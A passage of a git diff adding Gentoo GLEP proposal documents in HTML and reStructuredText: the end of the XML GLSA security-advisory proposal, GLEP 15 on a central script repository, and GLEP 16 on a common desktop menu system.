+a QT based editor for the GLSA format written by plasmaroo exists in the 
+gentoo-projects repository). Every GLSA has to be GPG signed by the responsible 
+developer, who has to be a member of the security herd.
+
+
+GLSA release process
+--------------------
+
+Additional to sending the GLSA to the gentoo-announce mailing list it has to be
+stored on a HTTP/FTP server and in the portage tree. I'd suggest a script should 
+be used to release a GLSA that will:
+
+- check the GLSA for correctness
+- sign the GLSA with the developers GPG key
+- send a mail to gentoo-announce with the XML GLSA and a plaintext version attached
+- upload it to www.gentoo.org/security/en/glsa (via cvs commit)
+- put it on the rsync server (via cvs commit)
+- notify the moderators on the forums to make an announcement
+
+
+Portage changes
+---------------
+
+Until the `update tool`_ is integrated into portage there will be no code changes
+to portage. The update tool might require a few new configuration options, these
+could be placed in make.conf or another config file in /etc/portage.
+
+
+Rationale
+=========
+
+The lack of automated security updates for Gentoo is one of the most often requested
+features for portage as it is one of the standard features of other distributions.
+As Gentoo already provides GLSAs for important security bugs it is only natural
+to use these to implement this feature.
+
+To parse a GLSA in a program the format needs to be specified and a parser has
+to be written. I suggest the use of XML for future GLSAs for the following reasons:
+
+- can be parsed and validated with existing libraries
+- easy to extend while maintaining backwards compatibility
+- tools can convert XML GLSAs in other formats, the other direction would be harder
+- websites can use XSLT to markup GLSAs
+
+Putting the GLSAs in the portage tree allows all users to check their systems
+for security updates without taking more actions and simplifies later integration
+of the update tool into portage. For security minded persons the GLSAs are 
+available on a HTTP server to ease the load of the rsync servers.
+
+To verify the signatures of the GLSAs the public keys of the developers should be
+available in the portage tree and on the HTTP server. The verification is necessary
+to prevent exploits by fake GLSAs.
+
+
+Implementation
+==============
+
+A prototype implementation (including the update tool, a DTD and a sample
+XMLified GLSA) exists at http://gentoo.devel-net.org/glsa/ and in the 
+gentoo-projects/gentoo-security/GLSA repository. This GLEP is based 
+on that implementation, though it can be changed or rewritten if necessary.
+
+
+Backwards compatibility
+=======================
+
+The current `GLSA release process`_ needs to be replaced with this proposal. It 
+would be nice if old GLSAs would be transformed into XML as well, but that is
+not a requirement for this GLEP.
+
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
diff --git a/xml/htdocs/proj/en/glep/glep-0015.html b/xml/htdocs/proj/en/glep/glep-0015.html
new file mode 100644
index 00000000..2bbd928b
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0015.html
@@ -0,0 +1,129 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 15 -- Gentoo Script Repository</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0015.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">15</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Gentoo Script Repository</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.4</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0015.txt?cvsroot=gentoo">2004/10/25 16:59:16</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">James Harlow &lt;hythloday&#32;&#97;t&#32;gentoo.org&gt;,</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Approved</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">30 Sep 2003</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">30-Sep-2003, 25-Oct-2004</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#abstract" id="id2" name="id2">Abstract</a></li>
+<li><a class="reference" href="#status-update" id="id3" name="id3">Status Update</a></li>
+<li><a class="reference" href="#motivation" id="id4" name="id4">Motivation</a></li>
+<li><a class="reference" href="#specification" id="id5" name="id5">Specification</a></li>
+<li><a class="reference" href="#rationale" id="id6" name="id6">Rationale</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id7" name="id7">Backwards Compatibility</a></li>
+<li><a class="reference" href="#copyright" id="id8" name="id8">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id2" id="abstract" name="abstract">Abstract</a></h1>
+<p>There is currently no central repository for scripts that are useful
+in administering a Gentoo system. This GLEP proposes a way to deal
+with this issue.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id3" id="status-update" name="status-update">Status Update</a></h1>
+<p>Expect the first alpha release by the end of November or so.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id4" id="motivation" name="motivation">Motivation</a></h1>
+<p>There are many small tasks on a Gentoo system that can be made much
+easier and fault-proof by scripting. However, not everyone has the
+experience to write such scripts; those that do have the choice of
+tracking down scripts on developer's webpages or with a search engine,
+or writing them themselves, often duplicating effort that has been
+already done by other people.</p>
+<p>A better solution would be to have a repository of these scripts on
+www.gentoo.org.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="specification" name="specification">Specification</a></h1>
+<p>A <a class="reference" href="mailto:scripts&#64;gentoo.org">scripts&#64;gentoo.org</a> email alias would be setup and forwarded to the team that
+will accept and publish these scripts to the website. The team will need
+access to a portion of the website, but just enough to add the scripts, and
+update links from the main &quot;scripts&quot; page. I would  propose it be a
+subproject of the tools or base top level project. The scripts team would
+need commit access to gentoo/xml/htdocs/proj/en/[base|tools]/scripts/.It
+shouldn't increase the load on gentoo.org significantly.</p>
+<p>The scripts should be divided by type of task, for example sysadmin,
+gentooadmin, misc, and internally well-commented. If there are enough then
+it might be appropriate to have a search interface.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="rationale" name="rationale">Rationale</a></h1>
+<p>A repository on gentoo.org would address the problem of not having a
+central point where all the scripts reside; and as gentoo.org is
+trusted by most gentoo users, it would also solve the problem of
+running scripts without knowing their exact effect. Further trust
+could be generated by having developers sign their scripts and
+uploading the signatures in parallel.</p>
+<p>Periodically, a snapshot could be taken of the repository, the scripts
+QA'd, and a package made and distributed.</p>
+<p>Having a well-publicised script repository would also ease major
+changes to the distribution, and could be a first line of defence to
+provide workarounds for security problems in packages.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>Not a problem for this GLEP.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id8" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0015.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0015.txt b/xml/htdocs/proj/en/glep/glep-0015.txt
new file mode 100644
index 00000000..9819e19f
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0015.txt
@@ -0,0 +1,80 @@
+GLEP: 15
+Title: Gentoo Script Repository
+Version: $Revision: 1.4 $
+Last-Modified: $Date: 2004/10/25 16:59:16 $
+Author:	James Harlow <hythloday@gentoo.org>,
+Status: Approved
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 30 Sep 2003
+Post-History: 30-Sep-2003, 25-Oct-2004
+
+
+Abstract
+========
+
+There is currently no central repository for scripts that are useful
+in administering a Gentoo system. This GLEP proposes a way to deal
+with this issue.
+
+Status Update
+=============
+
+Expect the first alpha release by the end of November or so.
+
+Motivation
+==========
+
+There are many small tasks on a Gentoo system that can be made much
+easier and fault-proof by scripting. However, not everyone has the
+experience to write such scripts; those that do have the choice of
+tracking down scripts on developer's webpages or with a search engine,
+or writing them themselves, often duplicating effort that has been
+already done by other people.
+
+A better solution would be to have a repository of these scripts on 
+www.gentoo.org.
+
+Specification
+=============
+
+A scripts@gentoo.org email alias would be setup and forwarded to the team that 
+will accept and publish these scripts to the website. The team will need 
+access to a portion of the website, but just enough to add the scripts, and 
+update links from the main "scripts" page. I would  propose it be a 
+subproject of the tools or base top level project. The scripts team would 
+need commit access to gentoo/xml/htdocs/proj/en/[base|tools]/scripts/.It 
+shouldn't increase the load on gentoo.org significantly.
+
+The scripts should be divided by type of task, for example sysadmin, 
+gentooadmin, misc, and internally well-commented. If there are enough then
+it might be appropriate to have a search interface.
+
+Rationale
+=========
+
+A repository on gentoo.org would address the problem of not having a
+central point where all the scripts reside; and as gentoo.org is
+trusted by most gentoo users, it would also solve the problem of
+running scripts without knowing their exact effect. Further trust
+could be generated by having developers sign their scripts and
+uploading the signatures in parallel.
+
+Periodically, a snapshot could be taken of the repository, the scripts
+QA'd, and a package made and distributed.
+
+Having a well-publicised script repository would also ease major
+changes to the distribution, and could be a first line of defence to
+provide workarounds for security problems in packages.
+
+Backwards Compatibility
+=======================
+
+Not a problem for this GLEP.
+
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
diff --git a/xml/htdocs/proj/en/glep/glep-0016.html b/xml/htdocs/proj/en/glep/glep-0016.html
new file mode 100644
index 00000000..9a056b82
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0016.html
@@ -0,0 +1,273 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 16 -- Gentoo Menu System</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0016.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">16</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Gentoo Menu System</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.7</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0016.txt?cvsroot=gentoo">2004/11/11 21:33:13</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Heinrich Wendel &lt;lanius&#32;&#97;t&#32;gentoo.org&gt;,</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">deferred</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">09-Sep-2003</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">04-Oct-2003, 11-Dec-2003, 13-Dec-2003, 4-May-2004, 11-Nov-2004</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#definitions" id="id29" name="id29">Definitions</a></li>
+<li><a class="reference" href="#abstract" id="id30" name="id30">Abstract</a></li>
+<li><a class="reference" href="#status" id="id31" name="id31">Status</a></li>
+<li><a class="reference" href="#motivation" id="id32" name="id32">Motivation</a></li>
+<li><a class="reference" href="#rationale" id="id33" name="id33">Rationale</a></li>
+<li><a class="reference" href="#specification" id="id34" name="id34">Specification</a></li>
+<li><a class="reference" href="#implementation-status" id="id35" name="id35">Implementation / Status</a></li>
+<li><a class="reference" href="#credits" id="id36" name="id36">Credits</a></li>
+<li><a class="reference" href="#references" id="id37" name="id37">References</a></li>
+<li><a class="reference" href="#copyright" id="id38" name="id38">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id29" id="definitions" name="definitions">Definitions</a></h1>
+<blockquote>
+<dl class="docutils">
+<dt><em>APP</em></dt>
+<dd>A graphical application that should be listed in the menus.</dd>
+<dt><em>WM</em></dt>
+<dd>A program containing a menu manager (i.e. a program that can display a menu, e.g. a windowmanager).</dd>
+</dl>
+</blockquote>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id30" id="abstract" name="abstract">Abstract</a></h1>
+<p>This GLEP handles a proposal for the following two goals:</p>
+<ul class="simple">
+<li>Create a common menu layout, which would be independent of the WM.
+This point is quite important for those people who use more than one WM.</li>
+<li>Provide a common way to add applications to the menus.</li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id31" id="status" name="status">Status</a></h1>
+<p>Timed out (and now subsumed by the gentoo-desktop top-level project)</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id32" id="motivation" name="motivation">Motivation</a></h1>
+<p>GNOME, KDE, Fluxbox, to name only a few, have all their own ways of handling
+menus. There have been several requests <a class="footnote-reference" href="#id15" id="id1" name="id1">[1]</a> <a class="footnote-reference" href="#id16" id="id2" name="id2">[2]</a> <a class="footnote-reference" href="#id17" id="id3" name="id3">[3]</a> <a class="footnote-reference" href="#id18" id="id4" name="id4">[4]</a> <a class="footnote-reference" href="#id19" id="id5" name="id5">[5]</a> <a class="footnote-reference" href="#id20" id="id6" name="id6">[6]</a> from
+users to streamline these menus. Furthermore there are several bug reports
+about applications not having a menu entry <a class="footnote-reference" href="#id21" id="id7" name="id7">[7]</a>, but since there is not
+standard way to create such an entry, they are just sitting around in
+bugzilla.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id33" id="rationale" name="rationale">Rationale</a></h1>
+<p>The idea of a common menu system is not new to the Linux world, every big
+distribution (Debian, Mandrake, RedHat, Suse) has such a system. The big DE's,
+KDE and GNOME, with the help of freedesktop.org <a class="footnote-reference" href="#id22" id="id8" name="id8">[8]</a>, are also trying to
+implement one standard. That will most likely happen in GNOME 2.6 and KDE 3.2
+(Currently they are only implementing different versions of the
+desktop-entry-spec, but interpreting it in an incompatible way).  But there
+are still many other WM's that currently don't support these specs.  So we are
+trying to base our work on the specifications GNOME and KDE are going to use.
+(These are no official standards but evolving specifications). This has the
+following advantages:</p>
+<ul class="simple">
+<li>follow specified standards</li>
+<li>i18n support</li>
+<li>provide the necessary flexibility and modularity</li>
+<li>integrate with small changes to our ebuildtree.</li>
+<li>support for per system and per user menus</li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id34" id="specification" name="specification">Specification</a></h1>
+<p>We are trying to follow these specifications:</p>
+<ul class="simple">
+<li>Desktop Entry Specification <a class="footnote-reference" href="#id23" id="id9" name="id9">[9]</a></li>
+<li>Menu Specification <a class="footnote-reference" href="#id24" id="id10" name="id10">[10]</a></li>
+<li>Icon Theme Specification <a class="footnote-reference" href="#id25" id="id11" name="id11">[11]</a></li>
+</ul>
+<p>There are two libraries that offer an API to these specifications:</p>
+<ul class="simple">
+<li>PyXDG <a class="footnote-reference" href="#id26" id="id12" name="id12">[12]</a> (written in python)</li>
+<li>Desktop File Utils <a class="footnote-reference" href="#id27" id="id13" name="id13">[13]</a> (written in C)</li>
+</ul>
+<p>Our goal is to patch the WM's with the help of these libraries to support the
+specifications. APP's then only have to install a .desktop entry <a class="footnote-reference" href="#id23" id="id14" name="id14">[9]</a> and
+optionally an icon and will be listed in all menus. This installation could
+easily be done by two portage commands (domenu, doicon).</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id35" id="implementation-status" name="implementation-status">Implementation / Status</a></h1>
+<p>This GLEP exists for a long time now, still it is not accepted. I will outline
+the current status:</p>
+<ul class="simple">
+<li>KDE 3.2 (x86) supports this specification</li>
+<li>GNOME 2.6 (~x86) support this specification</li>
+<li>domenu[<a class="reference" href="#id26">12</a>] has to be included in portage to be used by the ebuilds to
+install a desktop entry</li>
+<li>Somebody needs to write patches for the other WM's:</li>
+</ul>
+<p>We should focus on adding support to the following WM's first:</p>
+<ul class="simple">
+<li>xfce, blackblox / fluxbox / openbox / waimea / kahakai, icewm</li>
+<li>fvwm, windowmaker, enlightment, afterstep</li>
+</ul>
+<p>The following are not so important, but support some kind of applications
+menu:</p>
+<ul class="simple">
+<li>aewm / aewm++ / evilwm / windowlab / oroborus, amiwm, ctwm, flwm</li>
+<li>golem, larswm, pekwm, plwm, pwm, qvwm, selectwm, treewm, trwm</li>
+<li>vtwm, xpde</li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id36" id="credits" name="credits">Credits</a></h1>
+<p>Based on suggestions from former discussions on the gentoo bugzilla,
+mailinglists and forums.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id37" id="references" name="references">References</a></h1>
+<table class="docutils footnote" frame="void" id="id15" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id1" name="id15">[1]</a></td><td><a class="reference" href="http://bugs.gentoo.org/show_bug.cgi?id=5510">http://bugs.gentoo.org/show_bug.cgi?id=5510</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id16" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id2" name="id16">[2]</a></td><td><a class="reference" href="http://bugs.gentoo.org/show_bug.cgi?id=10429">http://bugs.gentoo.org/show_bug.cgi?id=10429</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id17" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id3" name="id17">[3]</a></td><td><a class="reference" href="http://bugs.gentoo.org/show_bug.cgi?id=4884">http://bugs.gentoo.org/show_bug.cgi?id=4884</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id18" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id4" name="id18">[4]</a></td><td><a class="reference" href="http://bugs.gentoo.org/show_bug.cgi?id=25797">http://bugs.gentoo.org/show_bug.cgi?id=25797</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id19" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id5" name="id19">[5]</a></td><td><a class="reference" href="http://forums.gentoo.org/viewtopic.php?t=66754">http://forums.gentoo.org/viewtopic.php?t=66754</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id20" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id6" name="id20">[6]</a></td><td><a class="reference" href="http://forums.gentoo.org/viewtopic.php?p=263106#263106">http://forums.gentoo.org/viewtopic.php?p=263106#263106</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id21" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id7" name="id21">[7]</a></td><td><a class="reference" href="http://bugs.gentoo.org/show_bug.cgi?id=25756">http://bugs.gentoo.org/show_bug.cgi?id=25756</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id22" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id8" name="id22">[8]</a></td><td><a class="reference" href="http://www.freedesktop.org">http://www.freedesktop.org</a></td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id23" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a name="id23">[9]</a></td><td><em>(<a class="fn-backref" href="#id9">1</a>, <a class="fn-backref" href="#id14">2</a>)</em> Desktop Entry Specification
+[<a class="reference" href="http://www.freedesktop.org/standards/desktop-entry-spec/0.9.4/">http://www.freedesktop.org/standards/desktop-entry-spec/0.9.4/</a>]</td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id24" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id10" name="id24">[10]</a></td><td>Menu Specification
+[<a class="reference" href="http://www.freedesktop.org/standards/menu-spec/0.8/">http://www.freedesktop.org/standards/menu-spec/0.8/</a>]</td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id25" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id11" name="id25">[11]</a></td><td>Icon Theme Specification
+[<a class="reference" href="http://www.freedesktop.org/standards/icon-theme-spec/0.7/">http://www.freedesktop.org/standards/icon-theme-spec/0.7/</a>]</td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id26" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id12" name="id26">[12]</a></td><td>PyXDG
+[<a class="reference" href="http://www.freedesktop.org/software/pyxdg">http://www.freedesktop.org/software/pyxdg</a>]</td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id27" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a class="fn-backref" href="#id13" name="id27">[13]</a></td><td>Desktop File Utils
+[<a class="reference" href="http://www.freedesktop.org/software/desktop-file-utils">http://www.freedesktop.org/software/desktop-file-utils</a>]</td></tr>
+</tbody>
+</table>
+<table class="docutils footnote" frame="void" id="id28" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a name="id28">[14]</a></td><td>domenu
+[<a class="reference" href="http://bugs.gentoo.org/show_bug.cgi?id=25756">http://bugs.gentoo.org/show_bug.cgi?id=25756</a>]</td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id38" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0016.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0016.txt b/xml/htdocs/proj/en/glep/glep-0016.txt
new file mode 100644
index 00000000..547aa0d4
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0016.txt
@@ -0,0 +1,154 @@
+GLEP: 16
+Title: Gentoo Menu System
+Version: $Revision: 1.7 $
+Last-Modified: $Date: 2004/11/11 21:33:13 $
+Author:	Heinrich Wendel <lanius@gentoo.org>,
+Status: deferred
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 09-Sep-2003
+Post-History: 04-Oct-2003, 11-Dec-2003, 13-Dec-2003, 4-May-2004, 11-Nov-2004
+
+Definitions
+============
+
+   *APP*
+      A graphical application that should be listed in the menus.
+   *WM*
+      A program containing a menu manager (i.e. a program that can display a menu, e.g. a windowmanager).
+
+
+
+Abstract
+========
+
+This GLEP handles a proposal for the following two goals:
+
+* Create a common menu layout, which would be independent of the WM.
+  This point is quite important for those people who use more than one WM. 
+* Provide a common way to add applications to the menus.
+
+
+Status
+======
+
+Timed out (and now subsumed by the gentoo-desktop top-level project)
+
+
+
+Motivation
+==========
+
+GNOME, KDE, Fluxbox, to name only a few, have all their own ways of handling
+menus. There have been several requests [1]_ [2]_ [3]_ [4]_ [5]_ [6]_ from
+users to streamline these menus. Furthermore there are several bug reports
+about applications not having a menu entry [7]_, but since there is not
+standard way to create such an entry, they are just sitting around in
+bugzilla.
+
+
+
+Rationale
+=========
+
+The idea of a common menu system is not new to the Linux world, every big
+distribution (Debian, Mandrake, RedHat, Suse) has such a system. The big DE's,
+KDE and GNOME, with the help of freedesktop.org [8]_, are also trying to
+implement one standard. That will most likely happen in GNOME 2.6 and KDE 3.2
+(Currently they are only implementing different versions of the
+desktop-entry-spec, but interpreting it in an incompatible way).  But there
+are still many other WM's that currently don't support these specs.  So we are
+trying to base our work on the specifications GNOME and KDE are going to use.
+(These are no official standards but evolving specifications). This has the
+following advantages:
+
+* follow specified standards
+* i18n support
+* provide the necessary flexibility and modularity 
+* integrate with small changes to our ebuildtree.
+* support for per system and per user menus
+
+
+
+Specification
+=============
+
+We are trying to follow these specifications:
+
+* Desktop Entry Specification [9]_
+* Menu Specification [10]_
+* Icon Theme Specification [11]_
+
+There are two libraries that offer an API to these specifications:
+
+* PyXDG [12]_ (written in python)
+* Desktop File Utils [13]_ (written in C)
+
+Our goal is to patch the WM's with the help of these libraries to support the
+specifications. APP's then only have to install a .desktop entry [9]_ and
+optionally an icon and will be listed in all menus. This installation could
+easily be done by two portage commands (domenu, doicon).
+
+
+Implementation / Status
+=======================
+
+This GLEP exists for a long time now, still it is not accepted. I will outline
+the current status:
+
+* KDE 3.2 (x86) supports this specification
+* GNOME 2.6 (~x86) support this specification
+* domenu[12_] has to be included in portage to be used by the ebuilds to
+  install a desktop entry
+* Somebody needs to write patches for the other WM's:
+
+We should focus on adding support to the following WM's first:
+
+* xfce, blackblox / fluxbox / openbox / waimea / kahakai, icewm
+* fvwm, windowmaker, enlightment, afterstep
+
+The following are not so important, but support some kind of applications 
+menu:
+
+* aewm / aewm++ / evilwm / windowlab / oroborus, amiwm, ctwm, flwm
+* golem, larswm, pekwm, plwm, pwm, qvwm, selectwm, treewm, trwm
+* vtwm, xpde
+
+
+Credits
+=======
+
+Based on suggestions from former discussions on the gentoo bugzilla,
+mailinglists and forums.
+
+
+
+References
+==========
+
+.. [1] http://bugs.gentoo.org/show_bug.cgi?id=5510
+.. [2] http://bugs.gentoo.org/show_bug.cgi?id=10429
+.. [3] http://bugs.gentoo.org/show_bug.cgi?id=4884
+.. [4] http://bugs.gentoo.org/show_bug.cgi?id=25797
+.. [5] http://forums.gentoo.org/viewtopic.php?t=66754
+.. [6] http://forums.gentoo.org/viewtopic.php?p=263106#263106
+.. [7] http://bugs.gentoo.org/show_bug.cgi?id=25756
+.. [8] http://www.freedesktop.org
+.. [9] Desktop Entry Specification
+   [http://www.freedesktop.org/standards/desktop-entry-spec/0.9.4/]
+.. [10] Menu Specification
+   [http://www.freedesktop.org/standards/menu-spec/0.8/]
+.. [11] Icon Theme Specification
+   [http://www.freedesktop.org/standards/icon-theme-spec/0.7/]
+.. [12] PyXDG
+   [http://www.freedesktop.org/software/pyxdg]
+.. [13] Desktop File Utils
+   [http://www.freedesktop.org/software/desktop-file-utils]
+.. [14] domenu
+   [http://bugs.gentoo.org/show_bug.cgi?id=25756]
+
+
+Copyright
+=========
+
+This document has been placed in the public domain.
diff --git a/xml/htdocs/proj/en/glep/glep-0017.html b/xml/htdocs/proj/en/glep/glep-0017.html
new file mode 100644
index 00000000..cd2a01c5
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0017.html
@@ -0,0 +1,152 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
